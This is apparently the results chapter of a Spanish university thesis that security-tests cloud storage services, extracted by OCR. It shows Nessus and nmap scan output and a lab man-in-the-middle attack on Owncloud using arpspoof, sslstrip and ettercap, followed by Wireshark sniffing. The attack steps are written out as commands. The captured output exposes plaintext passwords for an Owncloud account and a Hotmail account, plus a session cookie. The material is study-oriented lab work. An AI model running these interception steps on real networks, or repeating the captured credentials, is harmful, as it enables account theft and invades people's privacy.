
En la figura 4.5, se pueden observar 28 resultados de informacidn en color azul representa

el 87 % vy 3 resultados de vulnerabilidad de nivel bajo en color verde que representa el 13
%.

@ Nessus Scans Policies
Surdoc1 Configure Audit Trail Launch ¥ Export ~ v
3
Scans > Hosts . Vulnerabilities History
38.99.81.76 3 28 Name: Surdoct
k Status: Canceled

Policy: Basic Network Scan
Scanner: Local Scanner
Folder: My Scans
Start: February 9 at 5:14 AM
End: February 9 at 5:32 AM
Elapsed: 18 minutes
Targets: 38.99.81.76

Vulnerabilities

® Low
® info

Figura 4.3. Informacion general del diagnédstico.
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En la figura 4.6, se muestra el despliegue de los resultados encontrados, en este caso no
muestra puertos sin embargo muestra fallas en la seguridad, que un usuario malicioso
podria tomar de referencia para realizar un ataque y poder adquirir informacién de
manera ilicita.

Scans n Policies

Surd0C1 Configure Audit Trail Launch ¥ Export ¥ =

Hosts > 38.99.81.76 > Vulnerabllities

Severity a Plugin Name Plugin Family Count Host Detalls
s
SSH Server CBG Mode Giph...  Misc. 1 IP: 38.99.81.76
Start: February 9 at5:14 AM
LOW SSH Weak MAC Algorithms E...  Misc. 1 End: February 9 at5:32 AM
Elapsed: 18 minutes
Web Server HTTP Header Int...  Web Servers 1 KB: Download
Nessus SYN scanner Portscanners 4
Vulnerabllities
Service Detection Service detection 4 °
Low
' ® info
DNS Server Detection DNS 2
Additional DNS Hostnames General 1
HTTP Server Type and Version ~ Web Servers 1
OpenSSL Detection Service detection 1

Figura 4.4. Despliegue de vulnerabilidades en SurDoc.

4.2.2 Resultados del diagnéstico en Owncloud

En la figura 4.7, se observan 47 resultados de informacién en color azul que representan el
79 %, 3 resultados de vulnerabilidad de nivel bajo en color verde que representanel 7 %y
7 resultados de vulnerabilidad de nivel medio en color amarillo que representan el 14 %.

De igual forma en el servicio de nube Owncloud también se tiene un despliegue de
informacién mas detallada respecto a las fallas de seguridad en el servicio, mismo que
cuenta con una breve recomendacién hecha por el mismo NESSUS, en la figura 4.8 se
muestran los resultados obtenidos.
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Policies

Scans n

OWnCIOUd Configure Audit Trail Launch ~ Export ~ v
k
Scans > Hosts Vulnerabilities History
Host Vulnerabiliies Scan Detalls
192.168.2.4 3 a7 x Name: Owncloud
X Status: Completed
Policy: Basic Network Scan
Scanner: Local Scanner
Folder: My Scans
Start: February 29 at 5:36 AM
End: February 29 at 5:42 AM
Elapsed: 6 minutes
Targets: 192.168.2.4

Vulnerabilities

Medium
® Low

Pd o

Figura 4.5. Informacion general del diagnéstico.

Owncloud

Hosts > 192.168.2.4

Severity a

INFO

Scans n Policies
Configure
> Vulnerabllities
Plugin Name Plugin Family

HTTP TRACE / TRACK Meth... Web Servers

Anonymous FTP Enabled FTP

SSL Certificate CannotBe Tr... General
SSL RC4 Cipher Suites Supp...  General
SSL Self-Signed Certificate General

SSL Version 2 and 3 Protocol...  Service detection
FTP Supports Cleartext Auth... FTP

SSH Server CBC Mode Ciph... Misc.

SSH Weak MAC Algorithms E...  Misc.

Service Detection Service detection

Audit Trail

Count

Launch ¥

Export ¥ v
Host Details
IP: 192.168.2.4
0S: Linux Kernel 3.10 on CentOS Linux
release 7
Start: February 29 at 5:36 AM
End: February 29 at5:42 AM
Elapsed: 6 minutes
KB: Download

Vulnerabilities

Medium
® Low

P o

Figura 4.6. Despliegue de vulnerabilidades en Owncloud.
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La herramienta de escaneo NESSUS, muestra una prueba mas completa respecto de nmap
debido a que encontré una serie mas amplia de vulnerabilidades y las desplegd
dependiendo la gravedad dada en baja, media o alta dando también una serie de
recomendaciones para poder corregir el error.

4.3 Prueba MITM a Owncloud

Como ya se habia mencionado en el capitulo 3, la finalidad de este ataque es que la
maquina atacante se ponga en medio de la comunicacién entre el servidor y la maquina
victima de manera que el trafico que se establezca entre ellas pueda ser visto por el
atacante.

La obtencidn de la direccién IP de la PC1 (victima) se muestra en la figura 4.7 inciso (a), ya
gue si el atacante no tuviera la direccidn IP exacta de la victima a la que quiere atacar, con
este comando de NMAP se identifica las PC activas en la red. Para el analisis de esta
prueba la PC 1 (victima) fue la IP 192.168.1.122, también muestra algunos puertos en el
mismo diagnodstico y a su vez indica que opera con Windows 8.1 como se observa en la
misma figura inciso (b).

Figura 4.7. Comando nmap -T4 —-A —v 192.168.1.*

root@kali: /home/kalitesis

Archivo Editar Ve r Terminal Ayuda

Nmap scan report for 192.168.1.122

Host is up (0.00056s latency).

Not shown: 992 filtered ports

PORT STATE SERVICE VERSION

135/tcp  open msrpc Microsoft Windows RPC

139/tcp  open netbios-ssn Microsoft Windows 98 netbios-ssn

445/tcp  open microsoft-ds (primary domain: WORKGROUP)

554/tcp  open rtsp?

2869/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-methods: No Allow or Public header in OPTIONS response (status code 503)
|_http-server-header: Microsoft-HTTPAPI/2.0

|_http-title: Service Unavailable

16243/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-methods: No Allow or Public header in OPTIONS response (status code 404)
|_http-server-header: Microsoft-HTTPAPI/2.0

| http-title: Not Found

49155/tcp open msrpc Microsoft Windows RPC

1 service unrecognized despite returning data. If you know the service/version,
please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?n
ew-service
SF-Portd445-TCP:V=6.49BETAS%I=7%D=3/2%Time=5606E23D%P=1586-pc -1inux-gnu%sr(S
SF:MBProgheg, 73, "\0\C\Do\x f FSMBr\0\O\C\D\xB84x01@\0\D\C\O\OWONONENBAENONCN

(a). Resultado de la IP victima.
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root@kali: /home/kalitesis

Archivo Editar Ver Buscar Terminal Ayuda

Host script results:

| nbstat: NetBIOS name: UACMOE, NetBIOS user: <unknown=, NetBIOS MAC:

7:be:B0 (unknown)

| Names:

WORKGROUP<QC=
UACMEB<Q0>
UACMO8<20=>
WORKGROUP<lex>
WORKGROUP<1d=

smb-os-discovery:

Flags:
Flags:
Flags:
Flags:
Flags:

<group><actives

<unigque=<active=
<unigue><active=>

<group><active>

<unigues<active=
\xB14x02 MSBROWSE ‘\x02<0l> Flags: =group=<active>

0S: Windows 8.1 Pro 9600 (Windows 8.1 Pro 6.3)

0S CPE: cpe:/o:microsoft:windows_8.1::-

NetBIOS computer name: UACMOSB
Workgroup: WORKGROUP

System time: 2016-03-02T12:58:10-06:00
smb-security-mode:
account_used: <blank=

authentication_level: user
challenge response: supported
message_signing: disabled (dangerous, but default)

smbvZ-enabled: Server supports SMBvZ protocol

(b). Detalles del S.0 obtenidos sobre la victima.

4.3.1 Envenenamiento ARP

Realizacion del envenenamiento ARP hacia la PC1 (victima), en la figura 4.8 observamos él
envié de paquetes ARP erréneos, asociando la MAC del atacante a la IP del gateway y
también la IP de la victima, para que todo el trafico sea dirigido al atacante antes de ser
entregado al destino real, que en este caso seria la PC1. En los recuadros azules se observa
qgue la MAC del atacante es asociada a la IP del router para redirigir todo el trafico que

vaya destinado a la victima.

root@kali:

Buscar Terminal Ayuda

0:22:19:1f:b6:61 30:58:32:47 :be:0 0BEE

61 30:58:32:47:be:0 0BOE6

61 30:58:32:47:be:0 0BOE6

61 30:5a:33:47:be:0 0BO6

Archivo Editar Ver
:1f:b6:61

:1f:b6:61
0:22:19:1f:b6:
:1f:b6:61
0:22:19:1f:b6:
:1f:b6:61
0:22:19:1f:b6:
:1f:b6:61
(6:22:19:17:b6:61 [30:5a:
TIT:0b: bl
0:22:19:1f:b6:61 30:5a:
:1f:b6:61
0:22:19:1f:b6:61 30:5a:
:1f:b6:61
0:22:19:1f:b6:61 30:5a
:1f:b6:61
0:22:19:1f:b6:61 30:5a:
:1f:b6:61
0:22:19:1f:b6:61 30:5a:
(1f:b6:61
0:22:19:1f:b6:61 30:5a:
:1f:b6:61

Figura 4.8. Comando arpspoof —i ethl —t 192.168.1.122 (victima) 192.168.1.254 (gateway)

3a:

3a:

:3a

3a:

3a:

3a:

47

47

147

a7

a7

a7

tbe:

be:

be:

be:

be:

be:

0

0

0

<= Mac del atacante
3a:47 :be:

0BE6

0806

0806

0BE6

0BE6

0BE6

0BE6

fhome/kalitesis

42:
42:
42:
42:
42:
42:
42:
42:
42:
42:

42

47

arp

arp

arp

arp

arp

arp

arp

arp

arp

arp

arp

30:9k:3a:4

reply 192.168.1.254 is-at 0:22:19

reply 192.168.1.254 is-at 0:22:19
I

reply 192.168.1.254 is-at 0:22:19

reply 192.168.1.2§ébis—at 0:22:19
IP del router

reply [192.168.1.254 |is-at 0:22:19

reply 192.168.1.254 is-at 0:22:19

reply 192.168.1.254 is-at
reply 192.168.1.254 is-at
reply 192.168.1.254 is-at
reply 192.168.1.254 is-at

reply 192.168.1.254 is-at

0:22:

0:22:

0:22:

0:22:

0:22:

19

15

15

15

15



4.3.2 Funcion sslstrip

Peticiones realizadas durante la conexion al servidor de nube Owncloud, ya que la funcién
de sslstrip es hacerse pasar por un navegador seguro, es decir, convierte todo el trafico
HTTPS en trafico HTTP (sin cifrar), haciendo creer a la victima que estd estableciendo una
conexion segura con el servidor web.

En la figura 4.9 se observa que la funcién sslistrip estd corriendo y estd lista para
“escuchar” en el puerto 8080.

root@kali: fhome/kalitesis

Archivo Editar Ver Buscar Terminal Ayuda

:/home/kalitesis# sslstrip -1 8080

sslstrip 0.9 by Moxie Marlinspike running...

Figura 4.9. Comando sslstrip —1 8080

4.3.3 Funcion ettercap

En la figura 4.10, se tiene la visualizacion final en texto plano de la informacidn obtenida,
en este caso se obtuvo la informaciéon de autenticacion de usuario y contrasefia de
Owncloud, ya que ettercap es un lector de contrasefias de: telnet, ftp, http, entre otras,
por tal motivo nos muestra el contenido en texto plano cuando termina el ataque.

root@kali: /home/kalitesis

Archivo Editar Ver Buscar Terminal Ayuda

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
* >| 100.00 %

3 hosts added to the hosts list... I
Starting Unified sniffing...

Text only Interface activated...
Hit 'h' for inline help

HTTP : 192.168.2.4:80 -= USER: ownclouduacm PASS: GwnclQududcm INFO: 192.168.2
.4 /owncloud/index .php

CONTENT : user=ownclouduacmépasswo rd=0wnclBudu4cmétimezone-offset=-6&timezone=Ame
rica%2FMexico_City&requesttoken=dwZhAAZRKnpeamcOCDwj AnUudgIUMLtKInkaBxUv%s3A0510]
dLHo%2BRby0T fLa3gwCmB8E0Imdb

HTTP : 192.168.2.4:80 -= USER: ownclouduacm PASS: GwnclGududcm INFO: /owncloud
/index.php

CONTENT : Juser=ownclouduacmépassword=0wnclBududcmiatimezone-offset=-6&timezone=Ame
rica%2FMexico_City&requesttoken=dw/hAAZRKnpeamcUCDw]i AnUudgIUMLtKInkaBxUv%s3A0S10]
dLHo%2BRby0T fLa3qwCmB8E0Imdb

i
Figura 4.10. Comando y salida de ettercap —T —q —i eth1 para Owncloud.
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También se obtuvo usuario y contrasefia de Hotmail, que fue el correo creado para la
cuenta de nube Owncloud, mostrada en la figura 4.11.

:/home/kalitesis# ettercap -T -g -1 eth®
ettercap 0.8.2 copyright 2801-2015 Ettercap Development Team
Listening on:
eth@ -> (00:14:22:2C:2D:1D
192.168.1.115/255.255.255.0
feB0::214:22f: fe2c:2d1d/64
SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Ettercap might not work correctly. /proc/sys/net/ipv6/conf/eth@/use_tempaddr is not set to 0.
Privileges dropped to EUID 65534 EGID 65534...
33 plugins
42 protocol dissectors
57 ports monitored
20388 mac vendor fingerprint
1766 tcp 0S fingerprint
2182 known services
Lua: no scripts were specified, not starting up!

Text only Interface activated...

4it 'h' for inline help

4TTP : 131.253.61.80:80 ->|USER: linux cloud@hotmail.com PASS: Im2015@U4CM | INFO: http://login.live.com/login.srf?wa=ws
.1.6195.0&wp=&wreply=https://prodigy.msn.com/es-mx/homepage/Secure/Passpor

CONTENT : loginfmt=linux_cloud%4Ghotmail .combpasswd=Im2015%40U4CM&STI=Iniciar+sesi%C3%B3n&login=11inux_cloud%4Bhotmail .comé
=n%21JC5LUUZkyg*E1SNRB2upEgTv5CIYGEBPHY%215141dNyaly*cCs6IGGWFC20N3TaNz5*02q8dk 11F*7%21 01 MhouAwgFJS757u57RECTHRp  KQgi gvl7
rTdpwr8@ChM7nBm3c71iulyo%21h8aBSKis1*YeBEeppTTIDPIjK%217X6AI] hwbenWhM* f55NkpoEqBgaqWG1s%21pQ%24%24&PPSX=Paidsbho=1&ss0=0&Ne
317814=0617=06112=16113=08114=2946115=9036117=06118=_Login Strings%7C1%2C_ Login Core%/C1%2C__Login_ OTC%7C1%2C

Figura 4.11. Comando y salida de ettercap —-T —q —i eth1 para Hotmail.

La prueba MITM realizada a Owncloud fue exitosa ya que se situd a la PC2 (atacante)
entre las dos partes que mantienen comunicacién, en este caso la PC1 (victima) y el
servidor web. Se envenend a la victima por medio del protocolo ARP con la finalidad de
interceptar los mensajes enviados al momento de iniciar sesion a Owncloud para
finalmente adquirir la informacion confidencial del usuario.

4.4 Prueba de seguridad y analisis con Wireshark realizado en el servicio
Owncloud

En el capitulo 3 se explica el desarrollo de esta prueba, que basicamente consiste en
obtener datos de un usuario en texto plano mediante la herramienta Wireshark,
interceptando el trafico que va dirigido hacia la victima, configurando un puerto espejo en
el switch, que lo que hard es redirigir el trafico entre la victima y el servidor exactamente
igual hacia al atacante.
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En la figura 4.12, se muestra la intercepcion de un archivo en texto plano por parte del
atacante, un paquete intercambiado entre el servidor web y la victima, el cual trabaja con
el protocolo HTTP y se encuentra encerrado en el recuadro naranja. El atacante usa un
sniffer para poder interceptar este archivo o paquete haciendo que el switch haga un
espejo del trafico entre el servidor y la victima y asi el atacante pueda recibir exactamente
el mismo contenido. En la figura 4.12, se observa que el archivo interceptado tiene como
fuente la direccion IP 192.168.1.122 (victima) y su destino es la direccion IP 192.168.2.4
(servidor web).

No. Time Source Destination Protocol Length Info
13 2,182067000 192.168.2.4 192,188.1.122 TCP 70 80461891 ESYN, acki Seq=0 fck=1 WLn=14600 Len=0 MSS=1460 SACK_PERM=L WS=128
14 2,182434000 192,168.1.122 192.168.2.4 TCP 60 61691-80 [ACK] Seq=1 Ack=1 Win=65536 Len=( |ntercep|:i6n
15 2.184421000 192.168.1.122 192.168.2.4  TCP 909 [TCP segment of a reassembled POU]
162 184061000 102 160 2 1 100180 1 107 TAd 80.00.61601 [ACk] Con=] hel=056 1 n=16324 L on=0
17 2.185387000 192.168.1.122 192.168.2.4  HITP 817 POST Jowncloud/index.php/apps/files/ajax/upload. php HITP/1.1 (text/plain)
T8I I8353s0u ST I0ET Y TrTIOETIT IR SU=BTO oK SE-T TCk= T TS RTT=T A0 Eter=0
19 2.695331000 192.188.2.4 192,168.1.122  HITP 1201 HTTR/1.1 200 0K (text/plain)
20 2,736140000 192.168.1.122 192.168.2.4  HITP 733 GET Jowncloud/index.php/core/praview. png?file=%2Fholatmundo. txt&e=1b5h3208cdo
21 2.736649000 192.168.2.4 192.168.1.122 TCP 64 80461691 [ACK] Seq=1144 Ack=2098 Win=19840 Len=0
23 2.8977835000 192,168.1.122 192.168.2.4 TP 66 61692-80 [SYN] Seq=0 Win=8192 Len=0 MSS=1460 WS=256 SACK_PERM=1

» Frame 26: 841 bytes on wire (6728 bits), 841 bytes captured (6728 bits) on interface @

v Ethernet II, Src: 30:5a:3a:47:be:00 (30:52:3a:47:be:00), Dst: Tp-LinkT a:c2:7b (eB:de:27:a6:c2:7b)
v Internet Protocal Version 4, Src: 192.168.1.122 (192,168.1,122), Dst: 192.168.2.4 (192.168.2.4)

» Transmission Control Protocol, Src Port: 61692 (61692), Dst Port: 80 (80), Seq: 1, Ack: 1, Len: 787
} Hypertext Transfer Protocol

0000 eBde 27 a6¢c27h 3053 33 47be 00 0B 004500 ..'..{0Z :G....E
0010 0330 20240008006 51fccOaBOl7acOaB .; .@..0Q....Z..
0020 020410 fc0050a5db bd a8 9d Of 670050 18 .....P.. ....0.P.
0030 010024 dl 00004745 5420 2f 6f 77 6e 63 6c  ..-...GE T /owncl
0040 6f 7564 2 69 6e 64 65 78 28 70 68 70 2f 61 70 oud/inde ):.phpjap

NARA

7n 72 ¥ AR RO AR RS TR

Rl Ra A1 7R 2 A7 AR

ne/filas fatav/me

Figura 4.12. Intercepcidn de archivo txt.

En la figura 4.13,se observa el contenido del paquete, el cual nos despliega el nombre del
archivo, la fecha y hora de intercepciéon y el sistema operativo de la PC que esta
extrayendo la informacién, al final de la imagen también se puede observar que el archivo
interceptado fue extraido de un servidor apache seguido de su direccion IP.
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Follow TCP Str

Stream Content

/ 5
------ WebKitFormBoundaryVRXfoBYRI1goBXIS Nombre del archivo,
Content-Dispesition: form-data; name="file_directory" G tipo (texto plano).

------ WebK1 tFormBoundaryVRXfoBYRI1goBXI9 )
Content-Disposition: form-data; name="files[]"; filename="prueba.txt"
Content-Type: text/plain

hela mundo

HTTP/1.1 200 CK
Date: Thu, 11 Feb 2016 17:09:17 GMT < Fechayhoradela
Server: Apache/2.4.6 (Cent0S) OpenSSL/1.0.le-fips PHP/S5.4.16 P -

X-Powered-By: PHP/S5.4.16 Intercepcion, 5.0

. ’ NUY L35l US.oL. U0 Ll
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval'; style-src 'self®

Src * -
IGET /owncloud/index.php/core/previfew.png?file=%2Fprueba. txt&c=1868603ac59f 231c292ec2dd166fel8fé

Host: 192.168.2.4
|

SO sy e <: IP del servidor web

o
Accept: image/webp,image/*,*/*;q=0.8

PRPF A - Daad el s e . fia mmam oy - (R —

{ Entire conversation (5915 bytes)

l Buscar H Guardar como H Imprimir JO AsCll

Figura 4.13. Despliegue de contenido de texto plano prueba.txt

En la figura 4.14, se visualiza mas de cerca el contenido del paquete enviado al servidor
web, donde el atacante pudo interceptar y visualizar el contenido, “hola mundo “(ver

letras rojas).
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Stream Content

------ WebKi1tFormBoundaryVRXfoBYRI1goBXI9
Content-Disposition: form-data; name="requesttoken"

dCEHZRZZI EEI MnhVHEAUNghSIhY aIwg1BHESDK Q0 : LtWUz LFsSwMom3cR1EgeyPYWgI mdSC
------ WebK1tFormBoundaryVRXfoBYRI1goBXIS
Content-Disposition: form-data; name="dir"

------ Webk1itFormBoundaryVRXfoBYRI1goBXIS
Content-Disposition: form-data; name="file directory"

------ WebK1tFormBoundaryVRXfoBYRI1goBXI9
Content-Disposition: form-data; name="files[]"; filename="prueba.txt"
Content-Type: text/plain

hola mundo Contenido del texto

------ WebRitFormBoundaryVRXfoBYRI1goBXI9- -
HTTR/1.1 200 0K

Figura 4.14. Visualizacién de texto plano prueba.txt

En la figura 4.15, se muestra nuevamente la intercepciéon de un archivo en texto plano, en

este caso el archivo interceptado fue un fragmento de un cuento infantil extraido de

internet, la intercepcion de este archivo también se observa en el recuadro naranja con IP

fuente 192.168.1.22 (victima) y con direccidn IP destino (servidor web).

Mo, Time Saurce Destination  Protocol Length Info o
29 2.083480000 192,168.2.4 192.168.1.122 TCP 64 80461714 [ACK] Seq=l Ack=2 Win=127 Len=0
30 2.083481000 192,168.2.4 192.168.1.122 TCP 70 80461715 [SYN, ACK] Seq=0 Ack=1 Win=14600 Len=0 MSS=1460 SACK PERM=1 WS=128
31 2.083847000 192,168.1.122 192,168.2.4  TCP 60 61715480 [ACK] Seq=1 Ack=1 Win=63536 Len=0
32 2.085321000 192.168.1.122 192.168.2.4  TCP 99 [TCP seqment of a reassembled POU] Intercepcion
33 7 NARRSSNAN 107 1AR. 2.4 197 1AR 1 127 I(D Fd_g0A1715 K] Senz1 Aek=ASA Win=1A3R4 | en=n
34 2,087272000 192.168.1.122 192.168.2.4  HITP 929 POST /owncloud/mdex.php/apps/files/';jax/upload.php HITP/1.1 (text/plain)
3o 2, U8/doeltl [82, 188, 2.4 192,168, 1, 122 TCP o4 gl-bl/15 [ACK] Seq=l Ack=1/31 Win=lgl/b Len=U)
36 2.5678B4000 192.188.2.4 192,168.1.122 HITP 1184 HITR/1.1 200 OK (textjplaln)
37 2.619505000 192.188.1.122 192.188.2.4  TCP 60 61715480 [ACK] Seq=1731 Ack=1137 Win=64512 Len=0

v Frame 56: 80 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface O

» Ethernet II, Src: 30:5a:3a:47:be:00 (30:5a:3a:47:be:00), Dst: Tp-LinkT aB:c2:7h (eB:de:27:a6:c2:7h)

» Internet Protocol Version 4, Src: 192.168.1.122 (182.188.1.122), Dst: 192.168.2.4 (192.168.2.4)

» Transmission Control Protocol, Src Port: 61716 (61716), Dst Port: 80 (80}, Seq: 788, Ack: 925, Len: O

0000 e8de27a6c27b 3052 3a47be0DOBEO45 00 ..'..{0Z :G....E
0010 00282112 400080 06 S4e3c0aB 0l 7acoa8 (... T.......
0020 0204f1140050fcSh 0a 65762 93ec5010 ... P.[ .e~n..P.

0030 00fd1f830000GD00 0DOO GO 0D .ieeeer aen

Figura 4.15. Intercepcidn de archivo txt.
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En la figura 4.16 se muestra el contenido del paquete, el cual despliega los mismos datos
que en el archivo anterior como son: nombre del archivo, fecha y hora de intercepciony el
sistema operativo de la PC que esta obteniendo la informacion.

Follow TCP Stream (tcp.stream eq 2)

Stream Content

Origin: http://192.168.2.4

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/S.0 (wWindows NT 6.3; WOW64) ApplewebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.109|Safari/537.36
0CS- APIREQUEST : true

Content-Type: multipart/form-data; boundary=- - --WebKitFormBoundary8rRpZ4MxjdpVqoSt

/ . IP origen (servidor), navegador utilizado
------ WebK1 tFormBoundary8rRpZ4MXj dpVqoSt ‘ _ 0
Content-Disposition: form-data; name="file directory® (chrome), Sistema operativo.

------ VWebK1 tFormBoundary8rRpZamx) dpVqoSt Nombre del archivo,
Content-Disposition: form-data; name="files[]"; filename="cuento.txt" Tipo (texto plano).
Content-Type: text/plain

HTTE/L 1 200 0K

Date: Mon, 15 Feb 2016 19:54:04 GMT

Server: Apache/2.4.6 (Cent0S) OpenSSL/1.0.le-fips PHP/S.4.16 Fechay hora de
X-Powered-By: PHP/S5.4.18 A 32—
Expires: Thu, 19 Nov 198l 08:52:00 GMT |ntercng|on,smten1a
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 operativo del atacante
src *

X- XSS-Protection: 1; mode=block

X-Content-Type-Options: nosniff

X-Frame-Options: Sameorigin

X-Robots-Tag: none

Content-Length: 421

Keen-Alive: timeout=5. max=100

| Entire conversation (4829 bytes)

Buscar Guardar como Imprimir © Ascl () EBCDIC

Figura 4.16. Despliegue de contenido de texto plano cuento.txt

En la figura 4.17, se visualiza mas de cerca el contenido del paquete enviado al servidor
web por la victima, donde el atacante pudo interceptar y visualizar el contenido, “Al
atardecer, llegaron los duefios de la casa. Eran siete enanitos que trabajaban en unas minas. Se
quedaron admirados al descubrir a Blancanieves. Ella les contd toda su triste historia y los enanitos
la abrazaron y suplicaron a la nifia que se quedase con ellos. Blancanieves aceptd y se quedd a vivir
con ellos. Eran felices “. (Ver letras rojas).
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Follow TCP Stream (tcp.stream eq 1) 00

Stream Content

Content-Disposition: form-data; name="dir"

—————— WebKitFormBoundaryfBAlspZyoS1BkkQR )
Content-Disposition: form-data; name="file_directory"

Contenido del archivo.
—————— WebKitFormBoundaryfBAlspZyoSlBkkQR
Content-Disposition: form-data; name="files[]"; filename="cuento.txt" @
Content-Type: text/plain

Al atardecer, llegaron los due.os de la casa. Eran siete enanitos que trabajaban en
unas minas. Se quedaron admirados al descubrir a Blancanieves. Ella les cont. toda su
triste historia y los enanitos la abrazaron y suplicaron a la ni.a que se quedase con
ellos. Blancanieves acept. y se qued. a vivir con ellos. Eran felices.

—————— WebKitFormBoundarytBAlspZyoS1BkKQR- -

HITP/1.1 200 OK

Date: Thu, 24 Nov 2016 18:37:56 GMT

Server: Apache/2.4.6 (Cent0S) OpenSSL/1.0.le-fips PHP/5.4.16

X-Powered-By: PHP/S.4.16

Expires: Thu, 19 Nov 1981 08:52:00 GMT

l Entire conversation (4829 bytes) hd I

l Buscar H Guardar como H Imprimir ]OASC" () EBCDIC (O HexDump (O CArrays @ Raw

Ayuda Filter Out This Stream J

Figura 4.17. Visualizacién de texto plano cuento.txt

Por otro lado también se interceptd la informaciéon de autenticacion del usuario al
momento de iniciar sesion en Owncloud, en la figura 4.18, se observa la intercepcion de
esta informacion (recuadro naranja.)
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No.  Time Source Destination  Protocol Length Info

L4l L£,2Ud400u0 LYZ,108.4.4 184,108, 1. 144 HIE 1079 AIIF/LL ZU0 UK LLEXLITILINL

144 12,61839600 192.168.1.122 152.168.2.4 HITP 660 CET /owncloud/index.php/core/]s/oc. s?v=a0353sef Geda760c 737785  e8100cach HTTP/1.1

147 12 7110800 167 1RR 2 4 162 1A 1 122 HTTD 1547 _HTTD/1 1 700 0k [ta +ﬁwn r'm“nf"l - \ »
149 12,86200600 192.168.1.122 192.168.2.4 HTTP 830 GT /owncloud/index. php/avatar/ounclouduacn/128 HITR/1.1 <:| Intercepcidn de autenticacidn
150 12,83650600 192.168.1.122 192.168.2.4 HITP 753 GeT joncloud/cron.php HITP/L. 1

GET Jawncloud/index . php/apps/qallery/chafig?ext ranediatypes=1 HITR/1,1

GET /owncloud/1ndex. php/apps/natifications HITR/L.1

GET /owncloud/index.php/apps/f1les sharing/ap1/externalshares HITR/1.1

HTTR/1.1 200 Ok (applicaticn/json)

CET Jowncloudyindex . php/apps/f1les/ajax/List. phprdir=k2FGsort=namesortdirection=asc HITR/1.1

16
16
16!
17
17.

=

12.87091500 192.168.1.122 192.168.2.4 HITP g3
12.87250900 192.168.1.122 192.168.2.4 HITP TI.
12.90902700 192.168.1.122 192.168.2.4 HITP T8
13.02884900 192.168.2.4  192,168.1.122 HITP 73
13.03408200 192.168.1.122 192,168.2.4 HITP Bl

o P
L e B oy

ra
i

» Frame 207: 980 bytes on wire (7840 bits), 980 bytes captured (7840 bits) on interface 0

¥ Ethernet 11, Src: Tp-LinkT a6:c2:7b (eB:de:27:a6:c2:7b), Dst: 30:5a:3a:47:be:00 (30:5a:3a:47:be:00)

» 802,10 Vartual LAN, PRI: 0, CFL: 0, ID: 1

¥ Internet Protocol Version 4, Src: 192.168.2.4 (192.168.2.4), Dst: 192.188.1.122 (192,168.1.122)

» Transmussion Contral Protocol, Src Port: 80 (80), Dst Port: 61752 (61752), Seq: 1522, Ack: 2332, Len: 922
» Hypertext Transfer Protacol

b _launCerint thinet Matatinn: aenlicatianlican

0000 305333 47be00eBde 27a6c27bBLO0COOL OZ:C.... '..{....
0010 0B OD450003c26970 40003f 064517 c0 88 ..E..1p@Q.7.1...
0020 0204c0a80l 720050 fl383c 62865165 .....2.P .Bh.e.\

0030 ca 7250180097 70 f2 00 00 4854 54 50 2f 31 .-P...p. ..HITP/1
0040 263120323030 20 4F 4o Od 0a 44 61 74 6535 .1 200 0 K..Date:
0050 2057 65642203233 204e 67 7620323031 Med, 23 MNov 201

Figura 4.18. Intercepcidn de datos.

En la figura 4.19, se muestra el despliegue del contenido del paquete interceptado, con la
hora y dia de la extraccidn, el sistema operativo, y al final de la misma figura se encuentra
también la informacion detallada del portal web usado en este caso fue el sistema de
almacenamiento de Owncloud seguido de su direccién IP.

Follow TCP Stream (tcp.stream eq 0)

Stream Content
Found T S -
Date: Mon, 15 Feb 2016 20:.3:48 GMT Fechay hora de intercepciﬁn
Server: Apache/2.4.6 (Cent0S) OpenSSL/1.0.1e-fips PHP/S.4.16
X-Powered-By: PHP/5.4.16
Expires: Thu, 19 Nov 1981 06:52:00 GMT
GET /owncloud/1ndex.php/apps/files/ HTTP/1.1 .
Host: 192.168.2.4 Ip del servidor
Connection; kleep-al.lve_ Navegador utiizado
Cache-Control: max-age=d o
Accept: text/htnl,application/xhtnl+xml, epplication/xnl;q=0.9,1nage/webp, */*;q=0.8 Chrome con 5.0
Upgrade- Insecure-Requests: 1 _ Windows
User-Agent: Mozalla/5.0 (Windows NT 6.3; WOWS4) ApplewebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.109 Safar1/537.36
mm.l:nmdinn' arin Aatlata  edeh
Entire conversation (43951 bytes)
|

Buscar ‘ Guardar como | Imprimir ‘@ ASClI () EBCDIC () Hex Dump

Figura 4.19. Despliegue de contenido del paquete.
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En la figura 4.20 se muestra el contenido de la informacidn del usuario un poco mas de
cerca, extraida al momento de la autenticacion con usuario: ownclouduacm y contrasefia:
OwnclOuduacm.

Follow TCP Strear

Stream Content
ocvxbByungS4=d3r/dgmro/chqah34sccbnqgbb/; 3/e5836T43568e40/doC8eTl4cS/ele=rnhurklsqsnakddlgcs8toks

Found A\

Date: Mon, 15 Feb 2016 20:13:48 GMT [~ Usuario y contraseiia

Server: Apache/2.4.6 (Cent0S) OpenSSL/1.0.le-fips PHP/S5.4.16

X-Powered-By: PHP/5.4.16

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Nranmas nn ~ranha

GET /owncloud/index.php/apps/files/ HTTP/1.1

Host: 192.168.2.4

Connection: keep-alive

Cache-Control: max-age=0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,1mage/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/S.0 (Windows NT 6.3; WOW6S4) ApplewebKit/537.36 (KHTML, like Gecko) Chrome/48.0
Accept-Encoding: gzip, deflate, sdch

Accept-Language: es-419,es;q=0.8

Cookie: oc_sessionPassphrase=L3wqSXvDkh2jRaYAws2BGdMbAulmD7aghSBSGhatSzLegRAT8KtS07H3ySk%s2BPS2SeeA
